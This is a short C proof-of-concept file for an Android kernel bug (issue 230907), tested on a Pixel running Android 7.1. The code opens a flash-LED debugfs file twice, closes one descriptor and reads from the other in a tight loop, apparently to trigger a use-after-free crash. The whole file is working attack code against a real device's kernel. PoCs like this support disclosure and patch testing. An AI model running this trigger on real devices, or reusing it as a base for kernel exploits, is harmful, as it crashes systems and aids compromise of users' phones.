/*
 * https://code.google.com/p/android/issues/detail?id=230907
 * The poc was tested in pixel, 
 * google/sailfish/sailfish:7.1/NDE63L/3273814:user/release-keys
 * chengjia4574@gmail.com, 20161224
*/
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>
#include <pthread.h>

#define DEBUG                                               
#ifdef DEBUG                                             
#define LOG(fmt, ...) do { \
	printf("%s:%d: "fmt "\n", __FUNCTION__, \
			__LINE__, ##__VA_ARGS__); \
} while (0) 
#else
#define LOG(fmt, ...) 
#endif

#define SIZE 64

void trigger_crash(int fd)
{
	int i, ret = -1;
	int count = 1000000;
	char buf[SIZE] = {0};

	for(i = 0; i < count; i++)  {
		ret = read(fd, buf, SIZE);
		if(ret > 0)
			LOG("[%d] succ from fd %d\n",gettid(), fd);
	}

}

void testuaf()
{
	char *infopath = "/sys/kernel/debug/flashLED/strobe";
	//char *infopath = "/sys/kernel/debug/flashLED/latched";
	int fd1 = -1;
	int fd2 = -1;

	fd1 = open(infopath, O_RDWR);
	fd2 = open(infopath, O_RDWR);
	close(fd2);
	trigger_crash(fd1);
}


	int
main(int argc, char *argv[])
{
	testuaf();
	return 0;
}
